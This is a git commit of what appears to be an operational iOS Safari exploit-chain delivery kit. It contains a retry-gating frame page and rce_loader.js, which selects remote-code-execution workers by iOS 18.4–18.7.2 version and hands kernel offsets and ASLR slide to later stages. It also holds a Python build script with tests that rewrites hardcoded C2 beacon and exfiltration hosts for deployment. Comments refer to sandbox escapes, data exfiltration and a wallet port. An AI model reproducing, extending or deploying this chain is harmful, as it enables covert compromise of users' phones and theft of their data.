This commit is contained in:
hashbro
2026-09-12 03:42:48 +08:00
parent b212332828
commit 8c5724ff3b
50 changed files with 73924 additions and 657 deletions
+3
View File
@@ -0,0 +1,3 @@
.venv/
out/
.DS_Store
+16
View File
@@ -0,0 +1,16 @@
# channel-builder-ds
`source/` 是 one99/raw 的利用树。构建只做 C2 主机字符串替换,再拷到 `public/next-chain`。
**页面请求不跨域:** 浏览器里发出的 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` 一律用当前页面 `location.origin`。
**资源域名不配置:** 静态资源用当前 weifile 的 `location.origin + /next-chain`。
**C2 可配置:** `php artisan ds:build --c2 …` 只改 native PE 的 `/beacon` `/war` `/stats` 和 `NEWS2_CONFIG.exfil`(CFNetwork 回连),不影响页面 XHR。
weifile(本身已是 iframe)按 iOS 路由后直接 `loadScript` `config.js` + `boot.js`,不再套一层 iframe。渠道 ID 与 weifile 相同:`/channel/X.Y.ZZ/`。
```bash
php artisan ds:build --c2 http://192.168.31.130:8000
php artisan xxbb:repack
```
PE 进度:`GET /api/ds/pe-stage/{name}.js` 打到 C2(记日志并吐 JS)。`public/next-chain/pe_stage/` 仍随 `ds:build` 发布,但客户端不再走这条静态路径。
+103
View File
@@ -0,0 +1,103 @@
<!DOCTYPE html>
<html><head><title></title></head>
<body>
<script>
(function () {
// Gofun-style gate (simplified for single-page delivery):
// - Soft attempts: up to MAX_TRIES per window (crash/fail can reload and retry)
// - PE lock: 10min TTL after success — blocks re-run after WebContent death
// - PE lock sources: localStorage (redirect) OR cookie set when pe_worker.js is served
// - ?force=1: clear state once, then strip from URL
var MAX_TRIES = 5;
var PE_TTL_MS = 10 * 60 * 1000;
var K_PE = '_x_pe_done';
var K_TRY = '_x_try';
var K_TRY_TS = '_x_try_ts';
function lsGet(k) {
try { return localStorage.getItem(k); } catch (e) { return null; }
}
function lsSet(k, v) {
try { localStorage.setItem(k, v); } catch (e) {}
}
function lsDel(k) {
try { localStorage.removeItem(k); } catch (e) {}
}
function cookieGet(name) {
try {
var m = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
return m ? decodeURIComponent(m[1]) : null;
} catch (e) { return null; }
}
function cookieSet(name, val, maxAgeSec) {
try {
document.cookie = name + '=' + encodeURIComponent(val) +
'; Path=/; Max-Age=' + maxAgeSec + '; SameSite=Lax';
} catch (e) {}
}
function cookieDel(name) {
try { document.cookie = name + '=; Path=/; Max-Age=0; SameSite=Lax'; } catch (e) {}
}
function peDoneTs() {
var a = parseInt(lsGet(K_PE) || '0', 10) || 0;
var b = parseInt(cookieGet(K_PE) || '0', 10) || 0;
return Math.max(a, b);
}
function clearAll() {
lsDel(K_PE); lsDel(K_TRY); lsDel(K_TRY_TS); lsDel('_x_ok');
cookieDel(K_PE);
}
var force = false;
try {
// Drop legacy permanent gate so old sessions are not stuck forever.
lsDel('_x_ok');
var q = location.search || '';
force = /(?:^|[?&])force=1(?:&|$)/.test(q);
if (force) {
clearAll();
try {
var u = new URL(location.href);
u.searchParams.delete('force');
history.replaceState(null, '', u.pathname + (u.search || '') + (u.hash || ''));
} catch (eStrip) {}
}
var now = Date.now();
var peTs = peDoneTs();
if (peTs && (now - peTs) < PE_TTL_MS && !force) {
// Keep both stores in sync for the remaining TTL
lsSet(K_PE, String(peTs));
cookieSet(K_PE, String(peTs), Math.ceil((PE_TTL_MS - (now - peTs)) / 1000));
return; // PE success lock
}
if (peTs && (now - peTs) >= PE_TTL_MS) {
lsDel(K_PE);
cookieDel(K_PE);
}
var tryN = parseInt(lsGet(K_TRY) || '0', 10) || 0;
var tryTs = parseInt(lsGet(K_TRY_TS) || '0', 10) || 0;
// New attempt window after PE_TTL from first try in the batch
if (tryN > 0 && tryTs && (now - tryTs) >= PE_TTL_MS) {
tryN = 0;
lsDel(K_TRY);
lsDel(K_TRY_TS);
}
if (tryN >= MAX_TRIES && !force) {
return; // exhausted for this window
}
tryN += 1;
lsSet(K_TRY, String(tryN));
if (tryN === 1 || !tryTs) lsSet(K_TRY_TS, String(now));
} catch (e) {}
var s = document.createElement('script');
s.src = 'rce_loader.js?' + Date.now();
document.body.appendChild(s);
})();
</script>
</body>
</html>
File diff suppressed because one or more lines are too long
+354
View File
@@ -0,0 +1,354 @@
// Match production external (muiu38-mirror rce_loader.js): SERVER_LOG=false.
// print() is a no-op except for reportError=true (errors still surface).
// With true, every print() fires a SYNCHRONOUS blocking XHR to /log.html,
// which slows the time-sensitive RCE chain and can get WebContent killed
// before pe_worker runs — observed as the 403-log retry loop on our link.
var SERVER_LOG = false;
let logStart = new Date().getTime();
let logEntryID = 0;
var offsets = {};
var slide;
var chipset;
var device_model;
// Include the page directory (e.g. "/next-chain/") so desiredHost sent to the
// worker resolves getJS() calls under the same base, not the server root.
var localHost = location.origin + location.pathname.replace(/[^/]*$/, '').replace(/\/$/, '');
// Per-channel patch string (X.Y.ZZ) passed from weifile.html via ?c= query param.
// Forwarded through the exploit chain to pe_worker.js for C2 channel attribution.
var channelCode = '';
try {
var m = new URLSearchParams(location.search).get('c');
if (m) channelCode = m.toUpperCase();
} catch (eCC) {}
function print(x, reportError = false, dumphex = false) {
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
if (!SERVER_LOG && !reportError) return;
let obj = {
id: logEntryID++,
text: out,
};
if (dumphex) {
obj.hex = 1;
obj.text = x;
}
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&');
const xhr = new XMLHttpRequest();
xhr.open("GET", "/log.html?" + req, false);
xhr.send(null);
}
function markPeDone() {
// 10min TTL is enforced by frame.html. Cookie is also set by delivery when
// pe_worker.js is served (covers WebContent death before this runs).
var ts = String(Date.now());
try { localStorage.setItem('_x_pe_done', ts); } catch (e) {}
try {
document.cookie = '_x_pe_done=' + encodeURIComponent(ts) +
'; Path=/; Max-Age=600; SameSite=Lax';
} catch (e2) {}
}
function redirect() {
// Do NOT navigate (old /404.html caused reload loops with re-entrant frame).
markPeDone();
try { if (typeof window.stop === 'function') window.stop(); } catch (e) {}
}
// Relative URLs resolve under /assets/js/; leading-/ paths use location.origin (delivery fallthrough).
// Retries + status/length checks — plain same-origin fetch.
function getJS(fname, method = 'GET', tries = 5) {
const minLen = 1;
for (let attempt = 1; attempt <= tries; attempt++) {
try {
let url = fname;
if (typeof fname === 'string' && fname.startsWith('/') && localHost) {
url = String(localHost).replace(/\/$/, '') + fname;
}
if (attempt > 1) {
const sep = url.indexOf('?') >= 0 ? '&' : '?';
url = url + sep + '_r=' + attempt;
}
const xhr = new XMLHttpRequest();
xhr.open(method || 'GET', url, false);
xhr.send(null);
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText && xhr.responseText.length >= minLen) {
return xhr.responseText;
}
} catch (e) {
// retry
}
}
}
function iosVersionKey(v) {
if (!v) return '';
if (typeof v === 'string') {
if (v.indexOf('.') >= 0) return v.replace(/\./g, ',');
return v;
}
if (v.join) return v.join(',');
return String(v);
}
function validateStage1Handoff() {
if (!device_model) return false;
if (!offsets || typeof offsets !== 'object') return false;
if (Object.keys(offsets).length < 40) return false;
if (slide == null || slide === undefined) return false;
try {
if (typeof slide === 'bigint' && slide === 0n) return false;
} catch (e) {}
return true;
}
function packOffsetsForTransfer(src) {
var out = {};
if (!src) return out;
try {
for (var k in src) {
if (!Object.prototype.hasOwnProperty.call(src, k)) continue;
var val = src[k];
out[k] = (val != null && val.toString) ? val.toString() : String(val);
}
} catch (e) {}
return out;
}
function postStage1ToWorker(worker, begin, origin, desiredHost) {
var msg = {
type: 'stage1',
begin: begin,
origin: origin,
ios_version: iosVersionKey(ios_version),
device_model: device_model,
chipset: chipset,
slide: (slide != null && slide.toString) ? slide.toString() : '0',
offsets: packOffsetsForTransfer(offsets),
desiredHost: desiredHost,
SERVER_LOG: SERVER_LOG,
channelCode: channelCode
};
try {
worker.postMessage(msg);
return true;
} catch (e) {
return false;
}
}
const signal = new Uint8Array(8);
const dlopen_worker = `(() => {
self.onmessage = function (e) {
const {
type,
data
} = e.data;
switch (type) {
case 'init':
const canvas = new OffscreenCanvas(1, 1);
globalThis[0] = data;
createImageBitmap(canvas).then(bitmap => {
globalThis[1] = bitmap;
self.postMessage(null);
});
break;
case 'dlopen':
globalThis[1].close();
break;
}
};
})();`;
const dlopen_worker_blob = new Blob([dlopen_worker], { type: 'application/javascript'});
const dlopen_worker_url = URL.createObjectURL(dlopen_worker_blob);
// LIVE band: iOS 18.4.0 - 18.7.2
function parseIosVersion() {
let version = /iPhone OS ([0-9_]+)/g.exec(navigator.userAgent)?.[1];
if (!version) {
const m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(navigator.userAgent);
if (m) version = m[1];
}
if (version) return version.split('_').map(part => parseInt(part, 10));
return null;
}
function pickLiveBand(v) {
if (!v || !v.length) return null;
// historical special-case retained
if (v[0] === 18 && v[1] === 1 && (v[2] || 0) === 1) {
return { worker: 'rce_worker_18.6.js', module: 'rce_module_18.6.js', stage1_rce: true, band: '18.6' };
}
if (v[0] !== 18) return null;
const min = v[1] || 0, pat = v[2] || 0;
if (min < 4 || min > 7) return null;
if (min === 7 && pat >= 3) return null; // 18.7.3+ patched / out of LIVE
// 18.7.0-18.7.2: offsets live in worker; module is stub only (do not eval fake 22E/22F table)
if (min === 7) return { worker: 'rce_worker_18.7.js', module: 'rce_module_18.7.js', stage1_rce: true, band: '18.7' };
// 18.6.x: same — stub module + self-contained worker
if (min === 6) return { worker: 'rce_worker_18.6.js', module: 'rce_module_18.6.js', stage1_rce: true, band: '18.6' };
// 18.4.x / 18.5.x — legacy check_attempt; rce_module.js must have 22E (18.4) + 22F76 (18.5)
return { worker: 'rce_worker_18.4.js', module: 'rce_module.js', stage1_rce: false, band: '18.4' };
}
const ios_version = parseIosVersion();
const live_band = pickLiveBand(ios_version);
if (!live_band) {
print('unsupported iOS ' + (ios_version ? ios_version.join('.') : 'unknown') + ' (LIVE=18.4.0-18.7.2)', true);
redirect();
} else {
let workerCode = getJS(`${live_band.worker}?${Date.now()}`);
if (!workerCode || workerCode.length < 1000) {
print('worker load failed: ' + live_band.worker, true);
redirect();
} else {
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
(() => {
function doRedirect() {
redirect();
}
function main() {
const randomValues = new Uint32Array(32);
const begin = Date.now();
const origin = location.origin;
const worker = new Worker(workerBlobUrl);
const dlopen_workers = [];
async function prepare_dlopen_workers() {
for (let i = 1; i <= 2; ++i) {
const worker = new Worker(dlopen_worker_url);
dlopen_workers.push(worker);
await new Promise(r => {
worker.postMessage({
type: 'init',
data: 0x11111111 * i
});
worker.onmessage = r;
});
}
}
const iframe = document.createElement('iframe');
iframe.srcdoc = '';
iframe.style.height = 0;
iframe.style.width = 0;
document.body.appendChild(iframe);
async function message_handler(e) {
const data = e.data;
switch (data.type) {
case 'redirect':
{
markPeDone();
doRedirect();
break;
}
case 'pe_start':
case 'pe_spawned':
{
// Early lock: set before pe_worker runs / WebContent dies
markPeDone();
break;
}
case 'prepare_dlopen_workers':
{
await prepare_dlopen_workers();
worker.postMessage({
type: 'dlopen_workers_prepared'
});
break;
}
case 'trigger_dlopen1':
{
dlopen_workers[0].postMessage({
type: 'dlopen'
});
worker.postMessage({
type: 'check_dlopen1'
});
break;
}
case 'trigger_dlopen2':
{
dlopen_workers[1].postMessage({
type: 'dlopen'
});
worker.postMessage({
type: 'check_dlopen2'
});
break;
}
case 'sign_pointers':
{
iframe.contentDocument.write('1');
worker.postMessage({
type: 'setup_fcall'
});
break;
}
case 'slow_fcall':
{
iframe.contentDocument.write('1');
worker.postMessage({
type: 'slow_fcall_done'
});
break;
}
default:
{
break;
}
}
}
worker.onmessage = message_handler;
try
{
let rceCode = getJS(`${live_band.module}?${Date.now()}`);
// 18.6/18.7 stage1_rce: stub module only — never eval a large offset table on page.
// 18.4/18.5: need real rce_module.js (22E + 22F76) for check_attempt.
if (live_band.stage1_rce) {
if (rceCode && rceCode.length >= 500) {
print('stage1_rce: refusing large page module ' + live_band.module + ' (len=' + rceCode.length + ') — using worker offsets', true);
} else if (rceCode && rceCode.length >= 1) {
try { eval(rceCode); } catch (eStub) {}
}
} else {
if (!rceCode || rceCode.length < 500) {
print('module load failed: ' + live_band.module, true);
return;
}
try {
eval(rceCode);
} catch (e) {
print('module eval failed', true);
return;
}
}
let desiredHost = "";
desiredHost = localHost;
// 18.6.x / 18.7.0-18.7.2: self-contained worker (stage1_rce)
// 18.4.x / 18.5.x: check_attempt + stage1 handoff (serialized offsets)
if(live_band.stage1_rce)
{
worker.postMessage({
type: 'stage1_rce',
desiredHost,
randomValues,
SERVER_LOG,
channelCode: channelCode
});
}
else
{
var attempt = new check_attempt();
function onAttemptDone(result) {
if (!result) return;
if (!validateStage1Handoff()) return;
postStage1ToWorker(worker, begin, origin, desiredHost);
}
attempt.start().then((result) => {
if (!result) {
attempt.start().then(onAttemptDone).catch(function () {});
} else {
onAttemptDone(true);
}
}).catch(function () {});
}
}
catch(e)
{
// print("Got exception on something: " + e);
}
}
main();
})();
} // workerCode ok
} // end live_band
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,4 @@
// for displaying hex value
function dummyy(x) {
return '0x' + x.toString(16);
}
@@ -0,0 +1,5 @@
// Stub for iOS 18.7 — Stage1 RCE lives in rce_worker_18.7.js (self-contained).
// Do not ship full offsets here; page-side module is unused for stage1_rce bands.
function dummyy(x) {
return '0x' + x.toString(16);
}
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
+185
View File
@@ -0,0 +1,185 @@
#!/usr/bin/env python3
"""Rewrite hardcoded host literals in source/ to --c2 and publish → public/next-chain.
channel-builder-ds-new: 11-file exploit tree matching external globals-game.com/a18/.
Build does string replacement on hardcoded hosts (iy491j2ltb2i2sv.icu) → --c2 origin,
then copies source/ to public/next-chain. rce_loader.js derives the page directory
from location.pathname so the worker's desiredHost carries the /next-chain/ prefix,
making all getJS() calls resolve under the same base — no root-mirror needed.
php artisan ds:build-new --c2 http://192.168.31.130:8000
php artisan ds:build-new --c2 https://c2.example.com
"""
from __future__ import annotations
import argparse
import shutil
import sys
from dataclasses import dataclass
from pathlib import Path
from urllib.parse import urlparse
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
PROJECT_ROOT = BUILDER_ROOT.parent
DEFAULT_SOURCE = BUILDER_ROOT / "source"
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"}
SKIP_PUBLISH = {"log.html"}
@dataclass(frozen=True)
class Endpoint:
host: str
port: int
origin: str
tls: bool
@property
def url(self) -> str:
return self.origin
def parse_endpoint(raw: str, *, label: str) -> Endpoint:
parsed = urlparse((raw or "").strip())
if parsed.scheme not in ("http", "https") or not parsed.hostname:
raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port])")
host = parsed.hostname
tls = parsed.scheme == "https"
port = parsed.port or (443 if tls else 80)
origin = f"{parsed.scheme}://{host}"
if not ((tls and port == 443) or (not tls and port == 80)):
origin += f":{port}"
return Endpoint(host=host, port=port, origin=origin, tls=tls)
def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]:
"""Rewrite hardcoded host literals found in source/ → --c2 origin.
The only host present in the ds-new source tree is iy491j2ltb2i2sv.icu
(PE worker C2 URLs, embedded as escaped strings inside a webpack module
in pe_worker.js). Legacy hosts — muiu38.cc, nuhn93.cc, mh0usocqzi6f46i.com,
one99.vip, 192.168.31.130 — and all object-literal/port-only variants have
been removed; re-add them only if a source file actually starts using them.
Order matters: longer/more-specific strings first to avoid partial matches.
"""
return [
# --- iy491j2ltb2i2sv.icu: PE worker C2 beacon/result host (escaped in webpack string) ---
("https://iy491j2ltb2i2sv.icu/beacon", f"{c2.origin}/beacon"),
("https://iy491j2ltb2i2sv.icu/result", f"{c2.origin}/result"),
("https://iy491j2ltb2i2sv.icu", c2.origin),
# --- port: rewrite HQ_WALLET_PORT (escaped-quoted form inside webpack string) ---
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
# --- channel code: inject __CHANNEL_CODE__ (prepended by sbx1_main.js at runtime) ---
(
'const C2_CHANNEL_CODE = \\"\\"',
'const C2_CHANNEL_CODE = (typeof __CHANNEL_CODE__ !== \'undefined\' && __CHANNEL_CODE__) || \\"\\"',
),
]
def rewrite_text(text: str, c2: Endpoint) -> str:
for old, new in rewrite_pairs(c2):
if old != new:
text = text.replace(old, new)
return text
def rewrite_tree(root: Path, c2: Endpoint) -> int:
hits = 0
for path in root.rglob("*"):
if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES:
continue
raw = path.read_text(encoding="utf-8")
new = rewrite_text(raw, c2)
if new != raw:
path.write_text(new, encoding="utf-8")
hits += 1
return hits
def publish(staging: Path, dest: Path) -> None:
dest = dest.resolve()
dest.parent.mkdir(parents=True, exist_ok=True)
tmp = dest.with_name(dest.name + ".building")
old = dest.with_name(dest.name + ".old")
if tmp.exists():
shutil.rmtree(tmp)
def ignore(directory: str, names: list[str]) -> set[str]:
skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH}
return skip
shutil.copytree(staging, tmp, ignore=ignore)
if dest.exists():
if old.exists():
shutil.rmtree(old)
dest.rename(old)
try:
tmp.rename(dest)
except OSError:
dest.rename(tmp.with_name(dest.name + ".restore"))
raise
shutil.rmtree(old)
else:
tmp.rename(dest)
def build(
source: Path,
dest: Path,
c2: str,
dry_run: bool = False,
) -> dict:
if not source.is_dir():
raise SystemExit(f"source not found: {source}")
c2_ep = parse_endpoint(c2, label="--c2")
if dry_run:
return {"c2": c2_ep.origin}
staging = BUILDER_ROOT / "out" / "staging"
if staging.exists():
shutil.rmtree(staging)
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
rewrite_tree(staging, c2_ep)
publish(staging, dest)
shutil.rmtree(staging, ignore_errors=True)
return {"c2": c2_ep.origin, "dest": str(dest.resolve())}
def main(argv: list[str] | None = None) -> int:
ap = argparse.ArgumentParser(description="Rewrite hardcoded hosts to --c2 and publish source/ → public/next-chain")
ap.add_argument("--c2", default="", help="C2 origin, e.g. http://192.168.31.130:8000")
ap.add_argument("--origin", default="", help="alias of --c2")
ap.add_argument("--delivery", default="", help="(ignored, kept for backward compat)")
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args(argv)
c2 = (args.c2 or args.origin or "").strip()
if not c2:
raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000")
result = build(
args.source,
args.dest,
c2,
dry_run=args.dry_run,
)
print("dry-run" if args.dry_run else "published")
print(f" c2 {result['c2']}")
if result.get("dest"):
print(f" dest {result['dest']}")
return 0
if __name__ == "__main__":
sys.exit(main())
@@ -0,0 +1,88 @@
#!/usr/bin/env python3
from __future__ import annotations
import shutil
import sys
import tempfile
import unittest
from pathlib import Path
TOOLS = Path(__file__).resolve().parents[1]
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
import build # noqa: E402
class BuildTest(unittest.TestCase):
def setUp(self) -> None:
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
self.source = self.tmp / "source"
self.dest = self.tmp / "next-chain"
self.source.mkdir(parents=True)
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
(self.source / "pe_worker.js").write_text(
'const C2 = "https://nuhn93.cc:443/beacon";\n'
'function p7(){ return { host: "nuhn93.cc", port: 443 }; }\n',
encoding="utf-8",
)
(self.source / "log.html").write_text("static log\n", encoding="utf-8")
def tearDown(self) -> None:
shutil.rmtree(self.tmp, ignore_errors=True)
def test_rewrites_c2_and_publishes(self) -> None:
before = (self.source / "pe_worker.js").read_text(encoding="utf-8")
result = build.build(self.source, self.dest, "http://192.168.31.130:8000")
self.assertEqual((self.source / "pe_worker.js").read_text(encoding="utf-8"), before)
self.assertEqual(result["c2"], "http://192.168.31.130:8000")
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
self.assertIn("http://192.168.31.130:8000/beacon", worker)
self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker)
self.assertFalse((self.dest / "log.html").exists())
def test_https_c2(self) -> None:
build.build(self.source, self.dest, "https://c2.example.com")
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
self.assertIn("https://c2.example.com/beacon", worker)
self.assertIn('{ host: "c2.example.com", port: 443 }', worker)
def test_parse_endpoint(self) -> None:
ep = build.parse_endpoint("https://lab.example:8443", label="--c2")
self.assertEqual(ep.host, "lab.example")
self.assertEqual(ep.port, 8443)
self.assertEqual(ep.origin, "https://lab.example:8443")
self.assertEqual(ep.url, "https://lab.example:8443")
def test_source_files_match_external(self) -> None:
"""All 11 source files must come from globals-game.com/a18/ (external)."""
root = TOOLS.parent / "source"
expected = [
"frame.html", "pe_worker.js", "rce_loader.js",
"rce_module.js", "rce_module_18.6.js", "rce_module_18.7.js",
"rce_worker_18.4.js", "rce_worker_18.6.js", "rce_worker_18.7.js",
"sbx0_main_18.4.js", "sbx1_main.js",
]
for fname in expected:
self.assertTrue((root / fname).is_file(), f"missing {fname}")
def test_workers_have_addIframe_prefetch(self) -> None:
"""All worker/PE/SBX files must NOT have the redundant _addIframe() prefetch block."""
root = TOOLS.parent / "source"
for fname in ("rce_worker_18.4.js", "rce_worker_18.6.js", "rce_worker_18.7.js",
"pe_worker.js", "sbx0_main_18.4.js", "sbx1_main.js"):
text = (root / fname).read_text(encoding="utf-8")
self.assertNotIn("_addIframe", text, f"{fname} must not have _addIframe prefetch")
self.assertNotIn("group.html", text, f"{fname} must not reference group.html")
def test_rce_loader_has_pickLiveBand(self) -> None:
"""rce_loader.js must have pickLiveBand (external version, not our old logic)."""
root = TOOLS.parent / "source"
loader = (root / "rce_loader.js").read_text(encoding="utf-8")
self.assertIn("pickLiveBand", loader)
self.assertIn("location.origin", loader)
if __name__ == "__main__":
unittest.main()